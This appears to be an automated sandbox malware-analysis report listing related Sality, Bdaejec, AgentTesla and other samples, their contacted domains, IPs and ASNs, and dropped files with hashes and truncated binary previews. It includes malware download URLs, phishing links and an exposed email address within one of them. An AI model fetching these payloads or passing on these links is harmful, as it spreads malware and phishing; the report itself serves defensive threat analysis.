                                  • ddos.dnsnb8.net:799/cj//k2.rar
                                  2.exeGet hashmaliciousBdaejecBrowse
                                  • ddos.dnsnb8.net:799/cj//k2.rar
                                  78.46.2.1551.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • ahmediye.net/xs.jpg?e14213=73812575
                                  pXlV6TKi3E.exeGet hashmaliciousSalityBrowse
                                  • ahmediye.net/xs.jpg?6273be3=929110779
                                  Server.exeGet hashmaliciousMimikatz, SalityBrowse
                                  • ahmediye.net/xs.jpg?228483d4=579109844
                                  9zalmn1701.exeGet hashmaliciousSalityBrowse
                                  • ahmediye.net/xs.jpg?14ffade3=-1828863691
                                  54.244.188.1771.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • www.careerdesk.org/images/xs.jpg?ad5654=34079484
                                  FXja4SyAYs.exeGet hashmaliciousUnknownBrowse
                                  • cigaretteshoulder.net/index.php
                                  FXja4SyAYs.exeGet hashmaliciousUnknownBrowse
                                  • cigaretteshoulder.net/index.php
                                  ILTgEaPqmE.exeGet hashmaliciousUnknownBrowse
                                  • cigarettewritten.net/index.php
                                  ILTgEaPqmE.exeGet hashmaliciousUnknownBrowse
                                  • cigarettewritten.net/index.php
                                  Jla3M8Fe16.exeGet hashmaliciousUnknownBrowse
                                  • cigarettewritten.net/index.php
                                  Bn0VHqJWSS.exeGet hashmaliciousUnknownBrowse
                                  • stillneedle.net/index.php
                                  gZVfHNoTGQ.exeGet hashmaliciousUnknownBrowse
                                  • stillneedle.net/index.php
                                  Bn0VHqJWSS.exeGet hashmaliciousUnknownBrowse
                                  • stillneedle.net/index.php
                                  gZVfHNoTGQ.exeGet hashmaliciousUnknownBrowse
                                  • stillneedle.net/index.php

                                  Domains

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  ampyazilim.com.tr1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 37.230.104.89
                                  pXlV6TKi3E.exeGet hashmaliciousSalityBrowse
                                  • 37.230.104.89
                                  Server.exeGet hashmaliciousMimikatz, SalityBrowse
                                  • 37.230.104.89
                                  9zalmn1701.exeGet hashmaliciousSalityBrowse
                                  • 37.230.104.89
                                  apple-pie.in1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 44.221.84.105
                                  pXlV6TKi3E.exeGet hashmaliciousSalityBrowse
                                  • 63.251.106.25
                                  Server.exeGet hashmaliciousMimikatz, SalityBrowse
                                  • 63.251.106.25
                                  9zalmn1701.exeGet hashmaliciousSalityBrowse
                                  • 63.251.106.25
                                  ahmediye.net1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 78.46.2.155
                                  pXlV6TKi3E.exeGet hashmaliciousSalityBrowse
                                  • 78.46.2.155
                                  Server.exeGet hashmaliciousMimikatz, SalityBrowse
                                  • 78.46.2.155
                                  9zalmn1701.exeGet hashmaliciousSalityBrowse
                                  • 78.46.2.155
                                  www.careerdesk.org1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 54.244.188.177
                                  pXlV6TKi3E.exeGet hashmaliciousSalityBrowse
                                  • 206.191.152.58
                                  Server.exeGet hashmaliciousMimikatz, SalityBrowse
                                  • 206.191.152.58
                                  HP8odfgSjP.exeGet hashmaliciousSalityBrowse
                                  • 206.191.152.58
                                  9zalmn1701.exeGet hashmaliciousSalityBrowse
                                  • 206.191.152.58
                                  #U622a#U56fe.exeGet hashmaliciousSalityBrowse
                                  • 206.191.152.58
                                  arthur.niria.biz1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 44.221.84.105
                                  pXlV6TKi3E.exeGet hashmaliciousSalityBrowse
                                  • 63.251.106.25
                                  Server.exeGet hashmaliciousMimikatz, SalityBrowse
                                  • 63.251.106.25
                                  HP8odfgSjP.exeGet hashmaliciousSalityBrowse
                                  • 63.251.106.25
                                  9zalmn1701.exeGet hashmaliciousSalityBrowse
                                  • 63.251.106.25
                                  #U622a#U56fe.exeGet hashmaliciousSalityBrowse
                                  • 63.251.106.25
                                  ddos.dnsnb8.net1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 44.221.84.105
                                  log1.exeGet hashmaliciousBabadeda, Bdaejec, NeshtaBrowse
                                  • 44.221.84.105
                                  log2.exeGet hashmaliciousBabadeda, Bdaejec, NeshtaBrowse
                                  • 44.221.84.105
                                  2.exeGet hashmaliciousBdaejecBrowse
                                  • 44.221.84.105
                                  gracNYJFpD.exeGet hashmaliciousBdaejec, GhostRat, Nitol, Young LotusBrowse
                                  • 44.221.84.105
                                  xpKZwKFN9W.exeGet hashmaliciousBdaejecBrowse
                                  • 44.221.84.105
                                  LVF7FM9Z4I.exeGet hashmaliciousBdaejecBrowse
                                  • 44.221.84.105
                                  hJSrJRHret.exeGet hashmaliciousBdaejecBrowse
                                  • 44.221.84.105
                                  KFt0cactum.exeGet hashmaliciousBdaejecBrowse
                                  • 44.221.84.105
                                  gvQbT2QOfb.exeGet hashmaliciousBdaejecBrowse
                                  • 44.221.84.105

                                  ASNs

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  AMAZON-AESUS1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 44.221.84.105
                                  FFbd.dllGet hashmaliciousUnknownBrowse
                                  • 50.16.47.176
                                  https://rb.gy/zsqpjaGet hashmaliciousHTMLPhisherBrowse
                                  • 18.211.218.206
                                  https://singingfiles.com/show.php?l=0&u=2156442&id=64574Get hashmaliciousUnknownBrowse
                                  • 34.203.90.74
                                  https://delivery.attempt.failure.ebbs.co.za/public/MY096OineFzTCVJ56qDw3aMDByE0CDQ1Get hashmaliciousUnknownBrowse
                                  • 34.201.239.212
                                  http://multichaindappsx.pages.dev/Get hashmaliciousUnknownBrowse
                                  • 52.72.219.252
                                  https://swans-muffin-1id4964-7304421.netlify.app/formGet hashmaliciousUnknownBrowse
                                  • 54.205.31.52
                                  http://diffusion-florentine-facilitated.netlify.app/form.htmlGet hashmaliciousUnknownBrowse
                                  • 18.213.222.111
                                  https://reg1a-g4ad23-269fe50-lqng5s.netlify.app/dev.html/Get hashmaliciousUnknownBrowse
                                  • 54.147.25.172
                                  Scan405.exeGet hashmaliciousFormBookBrowse
                                  • 18.207.45.52
                                  AEROTEK-ASTR1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 37.230.104.89
                                  hesaphareketi-01.pdf.exeGet hashmaliciousAgentTeslaBrowse
                                  • 94.199.200.98
                                  739077083533. FedEX_13100976 _20.05.2024 %100%_jpg.exeGet hashmaliciousAgentTeslaBrowse
                                  • 94.199.206.42
                                  024 - PT MARGATEK_ SETYATAMA PO 13100976 _20.05.2024 %100%_jpg .exeGet hashmaliciousAgentTeslaBrowse
                                  • 94.199.206.42
                                  oae7jKW2lr.exeGet hashmaliciousAgentTeslaBrowse
                                  • 109.232.216.54
                                  #U0130#U015eLEM #U00d6ZET#U0130_20524057699-1034 nolu TICARI.exeGet hashmaliciousAgentTeslaBrowse
                                  • 94.199.206.42
                                  F#U0130YAT TEKL#U0130F #U0130STE#U011e#U0130.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                  • 109.232.216.54
                                  F#U0130YAT TEKL#U0130F #U0130STE#U011e#U0130.exeGet hashmaliciousAgentTeslaBrowse
                                  • 109.232.216.54
                                  F#U0130YAT TALEB#U0130.exeGet hashmaliciousAgentTeslaBrowse
                                  • 109.232.216.54
                                  Siparis. #PO000867000960 AZTEK Order _ BIRLESIM NEKS A.s 14.05.2024 .exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                  • 94.199.206.42
                                  AMAZON-02US1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 54.244.188.177
                                  poMkNYHDU3.exeGet hashmaliciousRemcosBrowse
                                  • 104.192.141.1
                                  NtjLYDrHzE.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                  • 15.229.32.8
                                  PTT Group project - Quotation.exeGet hashmaliciousFormBookBrowse
                                  • 13.248.169.48
                                  https://singingfiles.com/show.php?l=0&u=2156442&id=64574Get hashmaliciousUnknownBrowse
                                  • 18.239.50.108
                                  https://metamesklogni.webflow.io/Get hashmaliciousUnknownBrowse
                                  • 52.222.232.144
                                  https://rules-pear-kft5d2.mystrikingly.com/Get hashmaliciousUnknownBrowse
                                  • 143.204.176.115
                                  https://delivery.attempt.failure.ebbs.co.za/public/MY096OineFzTCVJ56qDw3aMDByE0CDQ1Get hashmaliciousUnknownBrowse
                                  • 13.227.219.3
                                  http://review-page-violation-issue-meta-center.vercel.app/Get hashmaliciousUnknownBrowse
                                  • 76.76.21.98
                                  http://cacahs.fdavm.com/Get hashmaliciousUnknownBrowse
                                  • 13.227.219.3
                                  HETZNER-ASDE1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • 78.46.2.155
                                  https://gmoq4wwvl9phy.pages.dev/smart89/Get hashmaliciousUnknownBrowse
                                  • 195.201.57.90
                                  lem.exeGet hashmaliciousVidarBrowse
                                  • 5.75.221.27
                                  0001.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                  • 176.9.105.210
                                  file.exeGet hashmaliciousVidarBrowse
                                  • 49.13.159.121
                                  Scan405.exeGet hashmaliciousFormBookBrowse
                                  • 116.202.213.59
                                  ScanPDF_102.exeGet hashmaliciousFormBookBrowse
                                  • 116.202.213.59
                                  https://vi-822.pages.dev/robots.txtGet hashmaliciousHTMLPhisherBrowse
                                  • 5.161.38.67
                                  https://vi-822.pages.dev/files/?email=gerold.barkowski@schoenhofer.deGet hashmaliciousHTMLPhisherBrowse
                                  • 5.161.38.67
                                  https://vi-822.pages.dev/files/?email=gerold.barkowski@schoenhofer.deGet hashmaliciousHTMLPhisherBrowse
                                  • 5.161.38.67
                                  AKAMAI-ASN1EUSwift tract-20240506_120.xlsGet hashmaliciousRemcosBrowse
                                  • 172.232.56.138
                                  https://www.google.com/url?q=https://authitca-adobue-sign.us-ord-1.linodeobjects.com/apts.html&sa=D&source=editors&ust=1720118061448441&usg=AOvVaw1WUHTIwDQHQCe4Um2Fp0tGGet hashmaliciousHTMLPhisherBrowse
                                  • 172.232.0.221
                                  https://1drv.ms/b/c/76a2f2769a0f2d92/EVBBlcPr69hPlwB4teIJkR8BhOEwtE3haDg1sSdukRfZrw?e=geYoLrGet hashmaliciousHTMLPhisherBrowse
                                  • 2.16.241.15
                                  https://1drv.ms/b/c/76a2f2769a0f2d92/EVBBlcPr69hPlwB4teIJkR8BhOEwtE3haDg1sSdukRfZrw?e=geYoLrGet hashmaliciousHTMLPhisherBrowse
                                  • 2.16.238.149
                                  http://sharepoint-stonecuttercapital.comGet hashmaliciousHTMLPhisherBrowse
                                  • 23.15.178.56
                                  qS7rA9kvqg.elfGet hashmaliciousUnknownBrowse
                                  • 23.41.1.183
                                  OCSM1XFiPg.elfGet hashmaliciousUnknownBrowse
                                  • 23.223.134.189
                                  ck4L513fGM.elfGet hashmaliciousUnknownBrowse
                                  • 172.236.27.188
                                  http://sp.26skins.com/steamstore/category/adventure_rpg/?snr=1_5_9__12Get hashmaliciousUnknownBrowse
                                  • 88.221.110.224
                                  http://sp.26skins.com/steamstore/soundtracks/Get hashmaliciousUnknownBrowse
                                  • 2.16.241.14

                                  JA3 Fingerprints

                                  ⊘No context

                                  Dropped Files

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeaspweb.exeGet hashmaliciousSalityBrowse
                                    aspweb88.exeGet hashmaliciousUnknownBrowse
                                      C:\Users\user\AppData\Local\Temp\plgMeM.exe1.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                        log1.exeGet hashmaliciousBabadeda, Bdaejec, NeshtaBrowse
                                          log2.exeGet hashmaliciousBabadeda, Bdaejec, NeshtaBrowse
                                            2.exeGet hashmaliciousBdaejecBrowse
                                              gracNYJFpD.exeGet hashmaliciousBdaejec, GhostRat, Nitol, Young LotusBrowse
                                                xpKZwKFN9W.exeGet hashmaliciousBdaejecBrowse
                                                  LVF7FM9Z4I.exeGet hashmaliciousBdaejecBrowse
                                                    hJSrJRHret.exeGet hashmaliciousBdaejecBrowse
                                                      KFt0cactum.exeGet hashmaliciousBdaejecBrowse
                                                        gvQbT2QOfb.exeGet hashmaliciousBdaejecBrowse

                                                          Created / dropped Files

                                                          C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):19456
                                                          Entropy (8bit):6.590462252231418
                                                          Encrypted:false
                                                          SSDEEP:384:1FnS1XZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:arQGPL4vzZq2o9W7GsxBbPr
                                                          MD5:5573E263171E402272EFF70623338898
                                                          SHA1:2104304990A064491CB82CAF3C5E6596416E0649
                                                          SHA-256:8DD14B8BB6F0045B515061E4D7D4F400D55F5BFDEA09C1E7FC88A5E03E52D732
                                                          SHA-512:4F55177409614F1800DC2863C2736F70D86F00C734770A6BA3C3E1F566C0922B3DBD5CD2CCF23C3035ED388352570A6ED43DB3B07533BD0CDE4B7394175BC8EE
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: Avira, Detection: 100%
                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                          Preview:MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

                                                          C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):2389504
                                                          Entropy (8bit):6.731348495072133
                                                          Encrypted:false
                                                          SSDEEP:49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
                                                          MD5:F5F9086E4BC1E5D401E3CC5357D77E4D
                                                          SHA1:54D2D8B6E97DBDFF5D9FC661D0B755B5402F5CD7
                                                          SHA-256:AF65EEDA36B1F09CE51FAD2AA4CBCB4E1A4C5BB5605615F03CC41834CCB5F9BC
                                                          SHA-512:7B25522F8FEAC06D687A1BACE2DA2203693332AA391DE77872F1EEE84455E360D6B949524D6C1FF9692D09C5ACB90A33809D3B9E8B379324B3F12E98F5ABE652
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: Avira, Detection: 100%
                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

                                                          C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):4210216
                                                          Entropy (8bit):6.5030627280414235
                                                          Encrypted:false
                                                          SSDEEP:49152:4pawZh+vD5oLv9eqJ/iUPnspBu/MLPgyLMLQB4gQDyJ0ryMOAqk9l/hO2y/BA:xehFLvTQDpB5oSOmlBm
                                                          MD5:69222B8101B0601CC6663F8381E7E00F
                                                          SHA1:DC1F4774F3104DEA6A50646D6C11EFEFD2A29169
                                                          SHA-256:F2DE2A37E6DFC90FFD0162EF11A7C9792850E37767B1E2C5AD28C751D18D750F
                                                          SHA-512:03493D5105A3A0E8C95E6E0AC8D7F814FF075FE9D36C389067E021D55B4D75CA3BDD4D688EFA9B00D8A5E84513FF99774C2A4C9B30CC89FB8FF94154BFEB32A9
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                          Joe Sandbox View:
                                                          • Filename: aspweb.exe, Detection: malicious, Browse
                                                          • Filename: aspweb88.exe, Detection: malicious, Browse
                                                          Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......,......... k.........@..............................A......<A...`..........................................'3......+3.P.....8......P6..e....@.((....A. 1..h.2.T.....................2.(...P"-.@............33.......3. ....................text...E.,.......,................. ..`.rdata..$#....-..$....,.............@..@.data........@4.......4.............@....pdata...e...P6..f...45.............@..@.00cfg..0.....7.......6.............@..@.gxfg...@4....7..6....6.............@..@.retplne......8.......6..................tls....-.... 8.......6.............@...CPADinfo8....08.......6.............@...LZMADEC......@8.......6............. ..`_RDATA..\....`8.......6.............@..@malloc_h.....p8.......6............. ..`.rsrc.........8.......6.............@..@.reloc.. 1....A..2....?.............@..B........................................................

                                                          C:\Program Files\7-Zip\Uninstall.exe

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):31744
                                                          Entropy (8bit):6.3665621998528765
                                                          Encrypted:false
                                                          SSDEEP:768:uWQ3655Kv1X/qY1MSdTvQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdToGCq2iW7z
                                                          MD5:CEFE1DD34881348AEAC7C02659C5B3AD
                                                          SHA1:A8AD5486C309F7FC3005E37F1BB07F437C88FBF0
                                                          SHA-256:29F9129B8EC260940320EE96F14E6981BC1D71DBF0D2C5171FD7939593272158
                                                          SHA-512:D3A3A54C0D47E7C7E62B9994EEFAB73B5B1FD656876AAFF5D9A2F4546025FD595E63832DBE056B837B46E26986BB4C6BD1ABB767109E74F2176B2A59AB4AAC46
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: Avira, Detection: 100%
                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

                                                          C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db-wal

                                                          Download File
                                                          Process:C:\Windows\System32\svchost.exe
                                                          File Type:data
                                                          Category:modified
                                                          Size (bytes):135960
                                                          Entropy (8bit):3.744112185550894
                                                          Encrypted:false
                                                          SSDEEP:384:PVdtuLGq0Z1aXOhtS5PNv/IUzB8sisoGP7PMrE/VVdtuLCqRZ1yXOhmy5PN9/IUd:PfHUzB8sZ70rsh1UzB8sw90r2b0rr
                                                          MD5:E732D35648DAE9190AF17F5DC7A39E49
                                                          SHA1:94C6A631FB6B986CE22B76D40A188E4DB581C1DA
                                                          SHA-256:0716ECDA62C1F7E43C8329C0E0069C8295EFED818A7F7D28BCDC2DF37A6B4BAC
                                                          SHA-512:B1A3AE8EFED8D16BBE74AAB7FA4469CBE8F30C14522F82E327C815992191F08E9BABA125D0BA8AF1E087FF7A44A04965530EDFAB3F07AD32621669FFB4A63E12
                                                          Malicious:false
                                                          Preview:........p...D<..c./...J..............a.B...........7.......].........................................................................i.+.......m.......b.C........................................................>.,!.U...f...{4i..N....x_exe_path{6d809377-6af0-444b-8957-a3773f02200e}\common files\microsoft shared\clicktorun\officeclicktorun.exeeE.@.=.,....v..7....W..6..hosteE.0L<.,.a..v..7....W..6..packageidc:\users\user\desktop\officesetup.exeeE.0M;.,!a..v..7....W..6..x_exe_pathc:\users\user\desktop\officesetup.exeeE.0.:.,...*.,e.V....KrX...hosteE..M9.,!a.*.,e.V....KrX...x_exe_pathc:\users\user\desktop\officesetup.exeeE...8.,....9.YU..f..>.+..hosteE..<7.,.....,...<.Y..r.G..49kj*hostf...S...,!m.<.Y..r.G..49kj*x_exe_pathc:\users\user\appdata\local\temp\plgmem.exef.......,....l..b.1y..,.(.E.hosteE......,..#..l..b.1y..,.(.E.packageid{6d809377-6af0-444b-8957-a3773f02200e}\adobe\acrobat dc\acrobat\acrobat.exeeE.....J,'.#..l..b.1y..,.(.E.windows_win32{7c5a40ef-a0fb-4bf

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\ActionCenterCache\windows-systemtoast-securityandmaintenance_22_0.png

                                                          Download File
                                                          Process:C:\Windows\System32\svchost.exe
                                                          File Type:PNG image data, 306 x 306, 8-bit/color RGBA, non-interlaced
                                                          Category:modified
                                                          Size (bytes):6873
                                                          Entropy (8bit):7.896151483146773
                                                          Encrypted:false
                                                          SSDEEP:192:4LRkn2wDlA/phcXKhgkuUexVBCp5dpvO4nyWck:JnpDlA/phc6hgkEQkxVk
                                                          MD5:1382CE1BD44FA02B6C58580B02AEFA9C
                                                          SHA1:BD1AABF4EBF1BFF840C1973EBAA02C1FEDF8D6C5
                                                          SHA-256:DF1C6676A93EB0E347607F323E00F4063EDE1D19E54E7661E5CF6D0F39586E82
                                                          SHA-512:CDCDCF15D72FC7FCFD05743954C09A09911EFD3964F0F55555EC30A37DBFDC6230224154CDCEF52BD0763C99F3CAD81C0045886E122274C8AC22A01D9CD850D5
                                                          Malicious:false
                                                          Preview:.PNG........IHDR...2...2.....y.\.....gAMA......a.....IDATx^..K..U...2.`.K.H...h.x.0.^.i@...Y#..Y.|..'....$/f5....a.....X."..%......y....Q.Y..q9..O.DV...T...{..Y.................................................................p..:}...v.q.S..y....T..E|...^.0~Y.....r.R...S.d.,.....y.pjK.z.8...g,..v.A6d.\..I..v...I.n_....g.%.. ...m)....rx....J9p.......7..Kh.o..<....yw3.T....,..F~.}....E.^.C..@.\g..aX.K.^....x...Ka..zQ..@R()......%K3......A...l....^#C.Yf,....Y].L.....A;+....e)..nW._..64.U....... ..Y.../..#..FC..v8.mi.z......w..6.9.f.Z..2.,.41..............=.nKC.!..T.....ps...)..P.k8C.9c....^.C..[(...Y+.Y.u...s...v\..9/.4........+..})..m.:.^.[ .4.|......U.0.0.4*..b[..a.c....+....(..j?..a.....i..g....d..a.[vl.>*..}`.....j..........M..-..x...,!..L+.'........*..s77f.|.h..*.0/.4||......\h.......N.-.TG..$.;vh....,-......h,..*...V...}...,m....v.k......Z:f!..Hua..(.0_...B.M.3..u......R(.&..4...!..+.._...h.L....P=-..H.!5...[O.]+.d.E....a...m..7;@..

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\k1[1].rar

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):4
                                                          Entropy (8bit):1.5
                                                          Encrypted:false
                                                          SSDEEP:3:Nv:9
                                                          MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                                          SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                                          SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                                          SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                                          Malicious:false
                                                          Preview:foo.

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\k2[1].rar

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):4
                                                          Entropy (8bit):1.5
                                                          Encrypted:false
                                                          SSDEEP:3:Nv:9
                                                          MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                                          SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                                          SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                                          SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                                          Malicious:false
                                                          Preview:foo.

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\k3[1].rar

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):4
                                                          Entropy (8bit):1.5
                                                          Encrypted:false
                                                          SSDEEP:3:Nv:9
                                                          MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                                          SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                                          SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                                          SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                                          Malicious:false
                                                          Preview:foo.

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-wal

                                                          Download File
                                                          Process:C:\Windows\System32\svchost.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):61800
                                                          Entropy (8bit):2.7479056154963315
                                                          Encrypted:false
                                                          SSDEEP:192:Ay+G2/1SjVMi5TZjjJoGiBv8bti6ItwKbOQWU8zeMzeOUVlN1fAfH62X87+iyAvH:41uVMuiVomtwoOQfCL2VD2X86tK
                                                          MD5:54DF96B6D2B1AB42EF5FC5F0CC301A00
                                                          SHA1:CD5F3DE56ACE333EC72570C07D861C0409E679DA
                                                          SHA-256:7E684676395E5E90C95E0E70B6D97FBCEBF3DDBE80AADD4DD6AC309D8524BD84
                                                          SHA-512:5623901BAE7B3CAB466CF36643B07C0A6B769D93788AF31439809CA2EA947780F6F9584E7A7CBD8B762C1DFE6976ECF39BF5A98CF10DED2B0D80043B9CFF134C
                                                          Malicious:false
                                                          Preview:........w~].T39...4.WG`.......K............~.K.c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk

                                                          Download File
                                                          Process:C:\Windows\System32\dllhost.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):8192
                                                          Entropy (8bit):0.6817719275621915
                                                          Encrypted:false
                                                          SSDEEP:24:0ubYeV/bYeVvIy3cizmubYeV/bYeVvIy3ciz:0ubDxbDWy3ciCubDxbDWy3ci
                                                          MD5:BCC0C32D13AB14BE6F5D4C1E3023251C
                                                          SHA1:9F7329B658C78192A5049A6A609DA8E8DB207261
                                                          SHA-256:C56C7D65307A08963F59932D3F8F954F199D3D0BD7EC9E6A1BA171096898A40E
                                                          SHA-512:8D9FA43CFE995E976D10E8E7144606A0A0593310AB67A57DE36353DEC3E3CC0888B1D858A4B24486D7875E2C902B8B3D2C3AEC52B3DF87538489D35438B74AE0
                                                          Malicious:false
                                                          Preview:.p.}..........'.....:.I..(...{..................C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\.........................................................................................................................................................................................................C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\..........................................................................................................................................................................................................0u.............................................................................@............................. ..........P.......h.%.......#......./..(...{..................C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.W.e.b.C.a.c.h.e.\.W.e.b.C.a.c.h.e.V.0.1...d.a.t............................................................................................................

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log

                                                          Download File
                                                          Process:C:\Windows\System32\dllhost.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):524288
                                                          Entropy (8bit):3.0663652483351145
                                                          Encrypted:false
                                                          SSDEEP:3072:fxAKaeoe7SYsdePWkAWXcbbU4uNGZdYQ24pDQdTVMFbQ50NJFl:z7usPWkAWXzZKaQ24pDQdTVwbQ5k
                                                          MD5:067CFC73D08BBC40CFC2930EFF491216
                                                          SHA1:F04064139FBEF7E3D689229CBB861533758DCA96
                                                          SHA-256:DB48ACBBD3F90BFB38F4F37DF3EFF0DFE89C1759E1EF40155199FF9F8F486487
                                                          SHA-512:6C147FC2AE66200D8DAB67AC8CAC51843172375A743586B42B76DD6270732047BD2C270A3C5B1F5F437FB31FA7B2BEC732EB07809B09E8C1317CE801B69FD0A1
                                                          Malicious:false
